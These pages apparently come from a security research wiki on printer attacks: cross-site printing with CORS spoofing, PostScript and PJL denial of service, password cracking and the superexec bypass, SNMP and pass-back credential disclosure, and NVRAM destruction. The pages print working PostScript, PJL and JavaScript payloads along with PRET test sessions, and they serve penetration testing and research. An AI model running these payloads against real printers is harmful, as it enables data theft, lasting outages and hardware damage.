Instead of Iframes, we use XMLHttpRequest (XHR) JavaScript objects as defined in <ref>''[https://www.w3.org/TR/XMLHttpRequest/ The XMLHttpRequest Object]'', A. van Kesteren and D. Jackson, W3C, Working Draft, 2007</ref> to perform HTTP POST requests to internal printers. A limitation of the cross-site printing approach discussed so far is that data can only be send to the device, not received because of the same-origin policy <ref>''[https://developer.mozilla.org/en-US/docs/Web/Security/Same-origin_policy The Same Origin Policy]'', J. Ruderman, 2001</ref>. This opts out all information disclosure attacks. To bend the restrictions of the same-origin policy, cross-origin resource sharing (CORS) <ref>''[https://www.w3.org/TR/cors/ Cross-Origin Resource Sharing]'', A. van Kesteren and others, W3C, Working Draft, 2010</ref> can be used – if the web server explicitly allows it by sending a special HTTP header field. In the scenario of cross-site printing, however, we have full control of what the requested ‘web server’ – which actually is a printer [https://en.wikipedia.org/wiki/Raster_image_processor RIP] accessed over port 9100/tcp – sends back to the browser. By using PostScript output commands we can simply emulate an HTTP server running on port 9100/tcp and define our own HTTP header to be responded – including arbitrary CORS <code>Access-Control-Allow-Origin</code> fields which instruct the web browser to allow JavaScript access to this resource and therefore punch a hole into the same-origin policy. A schematic overview of the attack is given below:

[[File:Cross-site-printing.png|900px|Advanced cross-site printing with CORS spoofing]]

In such an enhanced variant of XSP – combined with CORS spoofing – a web attacker has full access to the HTTP response which allows her to extract arbitrary information like captured print jobs from the printer device. A proof-of-concept JavaScript snipplet is shown below:

<syntaxhighlight lang=postscript>
job = "\x1B%-12345X\r\n"
+ "%!\r\n"
+ "(HTTP/1.0 200 OK\\n) print\r\n"
+ "(Server: PostScript HTTPD\\n) print\r\n"
+ "(Access-Control-Allow-Origin: *\\n) print\r\n"
+ "(Connection: close\\n) print\r\n"
+ "(Content-Length: ) print\r\n"
+ "product dup length dup string cvs print\r\n"
+ "(\\n\\n) print\r\n"
+ "print\r\n"
+ "(\\n) print flush\r\n"
+ "\x1B%-12345X\r\n";

var x = new XMLHttpRequest();
x.open("POST", "http://printer:9100");
x.send(job);
x.onreadystatechange = function() {
if (x.readyState == 4)
alert(x.responseText);
};
</syntaxhighlight>

== Limitations of cross-site printing ==

Note that [[PCL]] as page description language is not applicable for CORS spoofing because it only allows one single number to be echoed. [[PJL]] likewise cannot be used because unfortunately it prepends <code>@PJL ECHO</code> to all echoed strings, which makes it impossible to simulate a valid HTTP header. This however does not mean that enhanced XSP attacks are limited to [[PostScript]] jobs: PostScript can be used to respond with a spoofed HTTP header and the [[UEL]] can further be invoked to switch the printer language. This way a web attacker can also obtain the results for PJL commands. Two implementation pitfalls exist which deserve to be mentioned: First, a correct <code>Content-Length</code> for the data to be responded needs determined with PostScript. If the attacker cannot predict the overall size of the response and chunked encoding as well is not an option, she needs to set a very high value and use padding. Second, adding the <code>Connection: close</code> header field is important, otherwise HTTP/1.1 connections are kept alive until either the web client or the printer device triggers a timeout, which means the printer will not be accessible for some time.

If the printer device supports plain text printing the HTTP request header of the XHR is printed out as hard copy – including the <code>Origin</code> header field containing the URL that invoked the malicious JavaScript, thus making it hard for an attacker to stay silent. This is unavoidable, as we do not gain control over the printer – and under some circumstances can disable printing functionality – until the HTTP body is processed and the HTTP header has already been interpreted as plain text by the printer device. If reducing noise is a priority, the attacker can however try to first disable printing functionality with proprietary PJL commands as proposed in [[Document processing#PJL_jobmedia|PJL jobmedia]] using other potential XSP channels like IPP, LPD, FTP or the printer's embedded web server. While all protocols could successfully be tested to deploy print jobs using variants of cross-protocol scripting as described by <ref>''[http://www.remote.org/jochen/sec/hfpa/hfpa.pdf The HTML Form Protocol Attack]'', J. Topf, BugTraq posting, 2001</ref> and <ref>''[https://www.nccgroup.trust/globalassets/our-research/uk/whitepapers/inter-protocol_exploitation.pdf Inter-Protocol Exploitation]'', W. Alcorn, NGSSoftware Insight Security Research (NISR), 2007</ref> they have some drawbacks beyond not providing feedback using spoofed CORS headers:

* Cross-protocol access to LPD and FTP ports is blocked by various web browsers
* Parameters for direct printing over the embedded web server are model-specific
* The IPP standard requires the <code>Content-type</code> for HTTP POST requests being set to <code>application/ipp</code> <ref>''[https://tools.ietf.org/html/rfc2910 RFC2910 – Internet Printing Protocol/1.1: Encoding and Transport]'', R. Herriot, 2000</ref> which cannot be done with XHR objects – it is however up to the implementation to actually care about incorrect types

A comparison of cross-site printing channels is given in below:

{| class="wikitable" style="text-align:center"
|-
! Channel !! Port !! No Feedback !! Unsolicited printouts !! Standardized !! Blocked by
|-
| Raw || 9100 || - || ✔ || ✔ || -
|-
| Web || 80 || ✔ || - || - || -
|-
| IPP || 631 || ✔ || - || ✔ || -
|-
| LPD || 515 || ✔ || - || ✔
| style="text-align:left;" | FF, Ch, Op
|-
| FTP || 21 || ✔ || - || ✔
| style="text-align:left;" | FF, Ch, Op, IE
|-
|}

One major problem of XSP is to find out the correct address or hostname of the printer. Our approach is to abuse WebRTC <ref>''[https://www.w3.org/TR/webrtc/ WebRTC 1.0: Real-time Communication Between Browsers]'', D. Bergkvist and D. Burnett and C. Jennings, W3C, Working Draft, 2014</ref> which is implemented in most modern browsers and has the feature to enumerate IP addresses for local network interfaces. Given the local IP address, XHR objects are further used to open connections to port 9100/tcp for all 253 remaining addresses to retrieve the printer product name using PostScript and CORS spoofing which only takes seconds in our tests. If the printer is on the same subnet as the victim's host its address can be detected solely using JavaScript. WebRTC is in development for Safari and supported by current versions of Firefox, Chrome and Microsoft Edge. Internet Explorer has no WebRTC support, but VBScript and Java can likewise be used to leak the local IP address. If the address of the local interface cannot be retrieved, we apply an intelligent brute-force approach: We try to connect to port 80 of the victim's router using XHR objects. For this, a list of 115 default router addresses from various Internet-accessible resources was compiled. If a router is accessible, we scan the subnet for printers as described before.

== Proof-of-concept ==

A proof-of-concept implementation demonstrating that advanced cross-site printing attacks are practical and a real-world threat to companies and institutions is available at [http://hacking-printers.net/xsp/ hacking-printers.net/xsp/]. It was successfully tested on Firefox 48, Chrome 52, Opera 39 and Internet Explorer 10. It is worth noting that the [https://torproject.org/projects/torbrowser.html.en Tor Browser] blocks the attack because it tries to connect to all addresses – including local ones – through the Tor network meaning XSP requests never reach the intranet printer.

→ ''Related articles:'' [[Fundamentals#High-level_overview|Fundamentals]], [[Attack carriers]], [[Port 9100 printing]], [[BeEF]]

----

Document processing

2017-02-08T16:43:44Z

Admin:

Page description languages allowing infinite loops or calculations that require a lot of computing time can be abused to keep the printer's [https://en.wikipedia.org/wiki/Raster_image_processor RIP] busy. Examples of this are complex [https://en.wikipedia.org/wiki/HPGL HP-GL] calculations and [[PostScript]] programs. Even minimalist languages like [[PCL]] can be used to upload permanent macros or fonts until the available memory is consumed. [[PJL]] on HP devices has undocumented features to completely disable further printing functionality. In this article, various practical approaches of malicious print jobs which lead to denial of service are discussed.

== PostScript ==

=== Infinite loops ===

One trivial example of an infinite loop written in PostScript is given below:

<syntaxhighlight lang=postscript>
%!
{} loop
</syntaxhighlight>

This minimalist document keeps a PostScript interpreter busy forever. In an evaluation with a pool of 20 test printers, only one had a watchdog mechanism and restarted itself after about 10 minutes. The other devices did not accept print jobs anymore until the test was ultimately interrupted after half an hour. The malicious print job could in most cases manually be canceled from the control panel, while some devices required a manual restart. In contrast to blocking the [[transmission channel]], the connection can be closed immediately after the PostScript code has been sent. Another variant of this attack is to write the code into ''Sys/Start'' or similar files which are executed at interpreter startup and even '''survive a reboot''' on devices with a [[File system access|writable disk]].

'''How to test for this attack?'''

Use [[PRET]]'s ''hang'' command in ''ps'' mode:

./pret.py -q printer ps
Connection to printer established

Welcome to the pret shell. Type help or ? to list commands.
printer:/> hang
Warning: This command causes an infinite loop rendering the
device useless until manual restart. Press CTRL+C to abort.
Executing PostScript infinite loop in... 10 9 8 7 6 5 4 3 2 1 KABOOM!

'''Who can perform this attack?'''

Anyone who can print, for example through [[USB drive or cable]], [[Port 9100 printing]] or [[Cross-site printing]].

=== Redefine showpage ===

Another approach is to permanently redefine PostScript operators as described in [[PostScript#Security features|security features]]. By setting ''showpage'' – which is used in every document to actually print the page – to do nothing at all, PostScript jobs are processed but not put to paper anymore. Example code is given below:

<syntaxhighlight lang=postscript>
true 0 startjob
/showpage {} def
</syntaxhighlight>

Again, this code can also be written into ''Sys/Start'', ''startup.ps'' or similar files to cause '''permanent DoS''' on devices with a [[File system access|writable disk]].

'''How to test for this attack?'''

Use [[PRET]]'s ''disable'' command in ''ps'' mode:

./pret.py -q printer ps
Connection to printer established

Welcome to the pret shell. Type help or ? to list commands.
printer:/> disable
Disabling printing functionality

'''Who can perform this attack?'''

Anyone who can print, for example through [[USB drive or cable]], [[Port 9100 printing]] or [[Cross-site printing]].

== PJL ==

=== PJL jobmedia ===

Proprietary PJL commands <ref>''[http://www.icareasc.com/ICareKM/University/TrainingMaterial/The%20German%20Laserweb/general/software-downloads/paperpathtest%20without%20paper.htm The German Laserweb Vers. 4.0: Test without Paper]'', ATS/GCC Team Germany</ref> can be used to set the older HP devices like the LaserJet 4k series into service mode and completely disable all printing functionality as shown below:

@PJL SET SERVICEMODE=HPBOISEID
@PJL DEFAULT JOBMEDIA=OFF

'''How to test for this attack?'''

Use [[PRET]]'s ''disable'' command in ''pjl'' mode:

./pret.py -q printer pjl
Connection to printer established

Welcome to the pret shell. Type help or ? to list commands.
printer:/> disable
Printing functionality: OFF

'''Who can perform this attack?'''

Anyone who can print, for example through [[USB drive or cable]], [[Port 9100 printing]] or [[Cross-site printing]].

=== Offline mode ===

In addition, the PJL standard defines the ''OPMSG'' command which ‘prompts the printer to display a specified message and go offline’ \cite{hp1997pjl}. This can be used to simulate a paper jam as shown in below:

@PJL OPMSG DISPLAY="PAPER JAM IN ALL DOORS"

The command is supported by various printer models of different manufacturers. The device can however be easily brought to accept jobs again by manually pressing the ''online'' button on the control panel.

'''How to test for this attack?'''

Use [[PRET]]'s ''offline'' command in ''pjl'' mode:

./pret.py -q printer pjl
Connection to printer established

Welcome to the pret shell. Type help or ? to list commands.
printer:/> offline "MESSAGE TO DSIPLAY"
Warning: Taking the printer offline will prevent yourself and others
from printing or re-connecting to the device. Press CTRL+C to abort.
Taking printer offline in... 10 9 8 7 6 5 4 3 2 1 KABOOM!

'''Who can perform this attack?'''

Anyone who can print, for example through [[USB drive or cable]], [[Port 9100 printing]] or [[Cross-site printing]].

----

Credential disclosure

2017-02-08T15:55:07Z

Admin:

Printers are commonly deployed with a default password or no initial password at all. In both cases, end-users or administrators have to actively set a password to secure the device. This article discusses generic brute-force attacks against PJL and PostScript passwords as well as model-specific password disclosure.

== Brute-Force Attacks ==

Besides credentials leaked from sources like [[File system access|file system]] or [[memory access]], [[#SNMP|SNMP]] and the printer's [[#Pass-Back|embedded web server]], printing languages offer limited passwords protection mechanisms themselves. Breaking such mechanisms has a priority in this wiki because it focuses on printer-specific weaknesses. Furthermore, whilst the routines to set the password for a printer's embedded web server differ from model to model they are standardized for both [[PJL]] and [[PostScript]]. Although it is not very common for end-users or even administrators to set or actually know about these passwords, if enabled they can disable some of the attacks discussed in this wiki. Attackers should therefore have a motivation to crack or bypass them if necessary.

=== PJL ===

PJL offers the possibility to set a password to lock access to the printer's hard disk and/or control panel. PJL disk lock as shown below is the defense mechanism propagated by HP against PJL file system access, including its known path traversal vulnerabilities <ref>''[http://h20564.www2.hp.com/hpsc/doc/public/display?docId=emr_na-c02004333 Security Bulletin HPSBPI02575 SSRT090255 Rev. 1]'', HP Inc., 2010</ref>:

@PJL JOB PASSWORD=0
@PJL DEFAULT PASSWORD=12345
@PJL DEFAULT DISKLOCK=ON
@PJL DEFAULT CPLOCK=ON

PJL passwords however are vulnerable to brute-force attacks because of their limited 16 bit key size as demonstrated by <ref>''Attacking Networked Embedded Devices'', Black Hat USA, FX and FtR of Phenoelit, 2002</ref> who were able to unlock the disk protection within 6 hours in the worst case. With PJL interpreters having gotten faster while the PJL standard was never updated and still limits passwords to numerical values ranging from 1 to 65535 <ref>''[http://h10032.www1.hp.com/ctg/Manual/bpl13208.pdf Printer Job Language Technical Reference Manual]'', HP Inc., 1997, ch. 6-21</ref>, cracking time has efficiently decreased. In a test with 20 devices, between 50 and 1,000 passwords could be evaluated per second leading to average cracking times between 30 seconds and 10 minutes.

While PJL passwords can be set on various devices, actual disk lock and/or control panel lock is only supported by few printers. It is unclear if the password has any undocumented, proprietary effects on these machines or is just a dummy variable. Furthermore, non-compliant with the PJL standard, Brother based devices do not even verify the password to lock or unlock the control panel, rendering it practically useless.

'''How to test this attack?'''

The ''lock'' and ''unlock'' commands of [[PRET]] can be used to test brute-force attacks against PJL passwords:

./pret.py -q printer pjl
Connection to printer established

Welcome to the pret shell. Type help or ? to list commands.
printer:/> lock 999
PIN protection: ENABLED
Panel lock: ON
Disk lock: ON
printer:/> unlock
No PIN given, cracking.
PIN protection: DISABLED
Panel lock: OFF
Disk lock: OFF

'''Who can perform this attack?'''

Anyone who can print, for example through [[USB drive or cable]], [[Port 9100 printing]] or [[Cross-site printing]]. Feedback from the printer is not required because attackers can blindly remove the password protection by including all 65535 possible combinations in a single print job.

=== PostScript ===

PostScript offers two types of passwords: The ''SystemParamsPassword'' is used to change print job settings like paper size, while the ''StartJobPassword'' is required to exit the server loop and therefore permanently alter the PostScript environment. The ''checkpassword'' operator which takes either an integer or a string as input checks for both passwords at once <ref>''[http://ftp.ktug.org/obsolete/info/adobe/devtechnotes/pdffiles/ps2016.supplement.pdf PostScript Language Reference Manual Supplement for Version 2016]'', Adobe Systems Inc., 1995, p. 194</ref>. The key size is very large: PostScript strings can contain arbitrary ASCII characters and have a maximum length of 65,565 <ref>''[https://www.adobe.com/products/postscript/pdfs/PLRM.pdf PostScript Language Reference Manual, 3rd Edition]'', Adobe Systems Inc., 1999, p. 739</ref> which theoretically allows 524,280 bit passwords. On the positive side (from an attackers point of view) brute-force attacks against PostScript passwords can be performed extremely fast because the PostScript interpreter can be programmed to literally crack itself. A simple PostScript password cracker testing for numerical values as passwords is given below:

<syntaxhighlight lang=postscript>
/min 0 def /max 1000000 def
statusdict begin {
min 1 max
{dup checkpassword {== flush stop} {pop} ifelse} for
} stopped pop
</syntaxhighlight>

Tested printers were capable of performing between 5,000 and 100,000 password verifications per second. Such enormous cracking rates can be achieved because a printer's RIP is highly optimized for fast processing of PostScript code. Brother based devices are exceptions as ''BR-Script'' only accepts one password per second but also checks for the very first character of the password only which effectively limits the key size to 256 characters or 8 bit. As it seems, Kyocera's ''KPDL'' does not support setting permanent PostScript passwords at all.

Another approach is to '''bypass PostScript passwords''' by resetting them with Adobe's proprietary ''superexec'' operator. This operator resides in the ''internaldict'' dictionary, which is ‘protected’ by a static, magic password (<code>1183615869</code>, see <ref>''[http://www.tinaja.com/glib/interdic.pdf PostScript’s Internaldict, Superexec & the pdfmark Instruction Set]'', D. Lancaster, 2002</ref>). Wrapping PostScript code into ''superexec'' allows an attacker to ignore various protection mechanisms of the language, which would normally raise an ''invalidaccess'' error. This can be used to set PostScript passwords without initially submitting the current password as shown below:

<syntaxhighlight lang=postscript>
{ << /SystemParamsPassword (0)
/StartJobPassword (0) >> setsystemparams
} 1183615869 internaldict /superexec get exec

</syntaxhighlight>

'''How to test this attack?'''

The ''lock'' and ''unlock'' commands of [[PRET]] can be used to test brute-force attacks against numeric (integer) PostScript passwords or to bypass them with ''superexec'' magic:

./pret.py -q printer ps
Connection to printer established

Welcome to the pret shell. Type help or ? to list commands.
printer:/> lock 999
printer:/> unlock
No password given, cracking.
Device unlocked with password: 999
printer:/> lock S0me_Re4lly_g00d_Passw0rd!
printer:/> unlock bypass
Resetting password to zero with super-secret PostScript magic
Device unlocked with password: 0

'''Who can perform this attack?'''

Anyone who can print, for example through [[USB drive or cable]], [[Port 9100 printing]] or [[Cross-site printing]]. Feedback from the printer is not required because attackers can blindly remove the password protection by cracking it in a single print job.

== Password Disclosure ==

=== SNMP ===

Ancient HP printers (manufactured 2003 and earlier) had a bug which allowed an attacker to retrieve the password for the embedded web server through SNMP requests. The vulnerable OID to be requested (''.iso.org.dod.internet.private.enterprises.hp.nm.system.net-peripheral.net-printer.generalDeviceStatus.gdPasswords'') was even documented by HP. Other vendors may have similar SNMP based issues. Penetration testers may find flaws by studying the various publicly available MIBs released by printer manufacturers.

'''How to test this attack?'''

To test this attack against ancient HP printers, the ''snmpset'' tool can be used as shown below:

<syntaxhighlight lang=sh>
snmpget -v1 -c public printer iso.3.6.1.4.1.11.2.3.9.1.1.13.0
iso.3.6.1.4.1.11.2.3.9.1.1.13.0 = Hex-STRING: 41 41 41 00 …
</syntaxhighlight>

Vulnerable devices will return the password in hexadecimal (here: ''AAA''), while newer devices do only respond with zerobytes.

'''Who can perform this attack?'''

Anyone who can send network packets to port 161/udp of the printer device.

=== Pass-Back ===

Another interesting class of attacks is pass-back attacks were ‘an MFP device is directed into authenticating [...] against a rogue system rather than the expected server’ <ref>''[http://foofus.net/goons/percx/praeda/pass-back-attack.pdf Anatomy of a Pass-Back-Attack: Intercepting Authentication Credentials Stored in Multifunction Printers]'', D. Heiland and M. Belton, 2011</ref>. This works in setups where a printer/MFP authenticates users via an external [https://en.wikipedia.org/wiki/Lightweight_Directory_Access_Protocol LDAP] server. Note that the credentials to access the LDAP server are stored on the MFP itself. If the MFP allows an attacker to change the address of the LDAP server while keeping the stored credentials, whenever someone (for example, the attacker itself) tries to authenticate with the MFP, the MFP leaks the original LDAP credentials to the attacker-controlled server. This example shows that passwords resident on printers may not only harm the device itself if integrated into a company's network. Printers and MFPs – which may offer insufficient protection – are therefore a good starting point in network penetration tests.

'''How to test this attack?'''

Check if you can change printer settings like the LDAP hostname while keeping the old LDAP password.

'''Who can perform this attack?'''

Usually anyone who can access the printer's embedded web server. This may include [https://en.wikipedia.org/wiki/Cross-site_request_forgery CRSF] attacker, if the web application running on the printer has no CSRF protection.

----

Physical damage

2017-01-31T15:50:03Z

Admin:

Long-term settings for printers and other embedded devices are stored in non-volatile memory ([https://en.wikipedia.org/wiki/Non-volatile_random-access_memory NVRAM]) which is traditionally implemented either as [https://en.wikipedia.org/wiki/EEPROM EEPROM] or as [https://en.wikipedia.org/wiki/Flash_memory flash memory]. Both components have a limited lifetime. On early HP LaserJets ‘flash chips would only sustain about 1000-2000 cycles of re-writing’ <ref>''[http://blog.cyrtech.de/sites/default/files/Counting%20Pages%20in%20Printer%20Data%20Streams%20%28D2%29.pdf Counting Pages in Printer Data Streams]'', J. Deußen, 2011, p. 36</ref>. Today, vendors of flash memory guarantee about 100,000 rewrites before any write errors may occur. This number sounds large, but [[PJL]] and [[PostScript]] print jobs themselves can change long-term settings like paper tray media sizes or control panel passwords. Doing this a lot of times on purpose can be a realistic attack scenario leading to physical destruction of the NVRAM. Note that printing functionality itself is not affected but fixed settings containing wrong values can make the device practically unusable.

== PJL ==

For a practical test to destroy NVRAM write functionality one can continuously set the long-term value for the number of copies with different values for <code>X</code>:

@PJL DEFAULT COPIES=X

In an evalation with 20 laser printers, eight devices indicated a corrupt NVRAM within 24 hours <ref>''Exploiting Network Printers'', J. Müller, 2016, p. 41</ref>. Some EEPROM error codes, while others completely refused to set any long-term values anymore. The impact of such physical NVRAM destruction however is limited for two reasons: First, NVRAM parameters were not frozen at their current state (which would have been a random number of copies) but instead fixed to the factory default value. Secondly, all variables could still be changed for the current print job using the <code>@PJL SET...</code> command. Only the functionality to change long-term settings was broken.

'''How to test for this attack?'''

The feasibility of this attack, which has been implemented as the ''destroy'' command in [[PRET]] can be tested as follows:

./pret.py -q printer pjl
Connection to printer established

Welcome to the pret shell. Type help or ? to list commands.
printer:/> destroy
Warning: This command tries to cause physical damage to the
printer NVRAM. Use at your own risk. Press CTRL+C to abort.
Starting NVRAM write cycle loop in... 10 9 8 7 6 5 4 3 2 1 KABOOM!
Dave, stop. Stop, will you? Stop, Dave. Will you stop, Dave?
[... wait for about 24 hours ...]
I'm afraid. I'm afraid, Dave. Dave, my mind is going...
NVRAM died after 543894 cycles, 18:46:11

'''Who can perform this attack?'''

The attack can only be performed by an attacker who has the capability to establish various [[Port 9100 printing|network connections]] over a longer period of time. A [[USB drive or cable|local attacker]] sneaking into a copy room usually does not have enough time to send a continuous datastream of for about 24 hours hours <ref>''Note that it might theoretically be possible to start a large print job – approximately several hundred megabytes of malicious PJL commands – from USB stick on a Friday afternoon and just walk away.''</ref>. However, she can use an axe or a hammer to cause physical damage. In a [[cross-site printing]] scenario, the victim would have to keep an attacker-controlled web site open for hours which may also be considered unrealistic <ref>''Unless you find XSS on Facebook, in which case the impact of broken printers may be negligible.''</ref>.

== PostScript ==

For PostScript, one needs to find an entry in the ''currentsystemparams'' dictionary which survives a reboot (and therefore must be stored in some kind of NVRAM). A good candidate are PostScript passwords as discussed in [[credential disclosure]]. System parameters can be incremented in a PostScript loop as show below, which can lead to a large number of NVRAM write cycles per second if the printers hardware is implemented to write values directly instead of caching them:

<syntaxhighlight lang=postscript>
/counter 0 def
{ << /Password counter 16 string cvs
/SystemParamsPassword counter 1 add 16 string cvs
>> setsystemparams /counter counter 1 add def
} loop
</syntaxhighlight>

Such ideas are not new: The first PostScript malware in the wild, which appeared in 1990, applied the ''setpassword'' operator multiple times which quickly led to the password becoming unchangeable because of very limited EPROM write cycles on early LaserWriter printers <ref>''[http://web.archive.org/web/20010720184200/http://www.sevenlocks.com/password/pspass.txt New PostScript Virus!?]'', CompuServe Desktop Publishing Forum (via archive.org), 1990</ref><ref>''[http://www.faqs.org/faqs/computer-virus/macintosh-faq/ Viruses and the Macintosh]'', D. Harley, 2000</ref>.

'''How to test for this attack?'''

The feasibility of this attack, which has been implemented as the ''destroy'' command in [[PRET]] can be tested as follows:

./pret.py -q printer ps
Connection to printer established

Welcome to the pret shell. Type help or ? to list commands.
printer:/> destroy
Warning: This command tries to cause physical damage to the
printer NVRAM. Use at your own risk. Press CTRL+C to abort.
Starting NVRAM write cycle loop in... 10 9 8 7 6 5 4 3 2 1 KABOOM!
NVRAM write cycles: 1000, 2000, 3000, ...

'''Who can perform this attack?'''

Anyone who can print, for example through [[USB drive or cable]], [[Port 9100 printing]] or [[Cross-site printing]].

----

PostScript

2017-01-31T15:49:33Z

Admin:

The PostScript (PS) language was invented by Adobe Systems between 1982 and 1984. It has been standardized as PostScript Level 1 <ref>''PostScript Language Reference Manual'', Adobe Systems Inc., 1985</ref>, PostScript Level 2 <ref>''[https://www-cdf.fnal.gov/offline/PostScript/PLRM2.pdf PostScript Language Reference Manual, 2nd Edition]'', Adobe Systems Inc., 1992</ref>, PostScript 3 <ref>''[https://www.adobe.com/products/postscript/pdfs/PLRM.pdf PostScript Language Reference Manual, 3rd Edition]'', Adobe Systems Inc., 1999</ref> and in various language supplements. While PostScript has lost popularity in desktop publishing and as a document exchange format to [[PDF]], it is still the preferred page description language for laser printers. The term ‘page description’ may be misleading though, as PostScript is capable of much more than just creating vector graphics. PostScript is a stack-based, Turing-complete programming language consisting of almost 400 operators for arithmetics, stack and graphic manipulation and various data types such as arrays or dictionaries. Technically spoken, access to a PostScript interpreter can already be classified as code execution because any algorithmic function can theoretically be implemented in PostScript. Certainly, without access to the network stack or additional operating system libraries, possibilities are limited to arbitrary mathematical calculations like mining bitcoins. However, PostScript is capable of basic file system I/O to store frequently used code, graphics or font files. Originally designed as a feature, the dangers of such functionality were limited before printers got interconnected and risks were mainly discussed in the context of host-based PostScript interpreters. In this regard, Encapsulated PostScript (EPS) is also noteworthy as it can be included in other file formats to be interpreted on the host such as [https://en.wikipedia.org/wiki/LaTeX LaTeX] documents. Like [[PJL]] and [[PCL]], PostScript supports bidirectional communication been host and printer. Example PostScript code to echo ''Hello world'' to ''stdout'' is given below:

<syntaxhighlight lang=postscript>
%!
(Hello world) print
</syntaxhighlight>

While most printer manufacturers have implemented (as hardware modules or in software) and licensed original ‘Adobe PostScript’, Brother and Kyocera use their own PostScript clones: '''Br-Script''' and '''KPDL'''. Such flavours of the PostScript language are not 100% compatible, especially concerning security features like exiting the server loop. PostScript can be used for a variety of attacks such as [[denial of service]] (for example, through infinite loops), print job [[Print job manipulation|manipulation]] and [[Print job retention|retention]] as well as gaining access to the printer's [[File system access|file system]].

== Security features ==

=== Exiting the server loop ===

Normally, each print job is encapsulated in its own, separate environment. One interesting feature of PostScript is that a program can circumvent print job encapsulation and alter the initial VM for subsequent jobs <ref>''[https://www.adobe.com/products/postscript/pdfs/PLRM.pdf PostScript Language Reference Manual, 3rd Edition]'', Adobe Systems Inc., 1999, p. 68-72</ref>. To do so, it can use either ''startjob'', a Level 2 feature:

<syntaxhighlight lang=postscript>
true 0 startjob
</syntaxhighlight>

or ''exitserver'' (available in all implementations that include a job server):

<syntaxhighlight lang=postscript>
serverdict begin 0 exitserver
</syntaxhighlight>

This capability is controlled by the ''StartJobPassword'' which defaults to <code>0</code> (compare [[Credential disclosure#PostScript|credential disclosure]]). Since the job server loop is generally responsible for cleaning up the state of the interpreter between jobs, any changes that are made outside the server loop will remain as part of the permanent state of the interpreter for all subsequent jobs <ref>''[https://www-cdf.fnal.gov/offline/PostScript/GREENBK.PDF PostScript Language Program Design (Green Book),]'', Adobe Systems Inc., 1988, p. 176</ref>. In other words, a print job can access and alter further jobs. Bingo!

=== Operator redefinition ===

When a PostScript document calls an operator, the first version found on the dictionary stack is used. Operators usually reside in the ''systemdict'' dictionary, however by placing a new version into the ''userdict'' dictionary, operators can be practically overwritten because the user-defined version is the first one found on the dictionary stack. Using the ''startjob''/''exitserver'' operators, such changes can be made permanent – at least until the printer is restarted. A scheme of the PostScript dictionary stack is given below:

[[File:Dictstack.png|300px|The PostScript dictionary stack]]

The potential impact of redefining operators is only limited by creativity. When further legitimate documents are printed and call a redefined operator, the attackers version will be executed. This can lead to a various attacks such as [[Document processing#Showpage redefinition|denial of service]], print job [[Print job retention|retention]] and [[Print job manipulation|manipulation]]. Note however that this is not necessarily a security bug, but a 32 years old language feature, available in almost any PostScript printer and [https://en.wikipedia.org/wiki/Raster_image_processor RIP].

→ ''Related articles:'' [[Fundamentals#Printer Control Languages|Page Description Languages]], [[Denial of service]], [[Print job manipulation]], [[Print job retention]], [[File system access]]



-----

SNMP

2017-01-31T15:49:03Z

Admin:

The Simple Network Management Protocol (SNMP) is a port 161/udp protocol, designed to manage various network components like routers. The architecture is defined in RFC3411 <ref>''[https://www.ietf.org/rfc/rfc3411.txt RFC3411: An Architecture for Describing Simple Network Management Protocol (SNMP) Management Frameworks]'', D. Harrington, R. Presuhn and B. Wijnen, 2000</ref>. Information offered by a managed system is not subject to the standard itself but defined in separate hierarchical database files, so called MIBs (management information bases). A MIB consists of various OID (object identifier) entries, each one identifying a variable to be either monitored (SNMP GetRequest) or modified (SNMP SetRequest). An example of retrieving the <code>hrDeviceDescr</code> value (OID 1.3.6.1.2.1.25.3.2.1.3, textual description of a device) from the ‘Host Resources MIB’ as defined in RFC1514 <ref>''[https://www.ietf.org/rfc/rfc1514.txt RFC1514: Host Resources MIB]'', P. Grillo and S. Waldbusser, 1993</ref> is shown below:

<syntaxhighlight lang=sh>
snmpget -v1 -c public printer iso.3.6.1.2.1.25.3.2.1.3.1
iso.3.6.1.2.1.25.3.2.1.3.1 = STRING: "hp LaserJet 4250"
</syntaxhighlight>

While SNMP is not printer-specific, many printer manufacturers have published MIBs for their network printer model, often including security-sensitive functionality. A generic approach to create a vendor-independent ‘Printer MIB’ was taken in RFC3805 <ref>''[https://www.ietf.org/rfc/rfc3805.txt RFC3805: Printer MIB v2]'', R. Bergman, I. McDonald and H. Lewis, 2004</ref>. SNMP broadcast is used in printing software like [[CUPS]] or [[PRET]] to quickly discover network printers in the local subnet and enumerate their capabilities. As a stand-alone language, SNMP can only be exploited if the attacker has access to port 161/udp of the printer device and the community string is known (usually set to <code>public</code> by default). On HP devices however, SNMP can be embedded within [[PJL]] and therefore included into arbitrary print jobs as so called [[PML]] commands.

→ ''Related articles:'' [[PML]]

-----------

Fundamentals

2017-01-31T15:47:37Z

Admin:

Typical printers range from classical [https://en.wikipedia.org/wiki/Dot_matrix_printing dot matrix] to [https://en.wikipedia.org/wiki/Inkjet_printing inkjet] or [https://en.wikipedia.org/wiki/Laser_printing laser] printers used at home or in corporate environments. The printing '''hardware''' is not addressed in detail in this wiki as from a security perspective it seems less relevant <ref>Even though some newspapers claimed hackers could set laser printers on fire by [http://www.wired.com/2011/12/hp-printer-lawsuit/ overheating] them.</ref>. This page aims to give an introduction to fundamental '''software''' printing technologies, including network printing protocols, printer control and page description languages.

== High-level overview ==

Sending a document to a network printer may involve various protocols and languages. A schematic relationship regarding the encapsulation of printer languages is given below.

[[File:Protocols.png|500px|Encapsulation of printer languages]]

The network printing protocol acts as a channel to deploy print jobs which either contain the page description language directly or first invoke a printer/job control language to change settings like paper trays. From a security point of view this encapsulation is interesting, especially because functionality is overlapping. For example an – each time different – username can be set in [[IPP]], [[PJL]] and [[PostScript]]. If something is restricted in one layer, it may be allowed in the next one. While network printing protocols are discussed in this wiki, the focus is mainly on printer languages, particularly PJL and PostScript.

→ ''Related articles:'' [[Attack carriers]]

== Network printing protocols ==

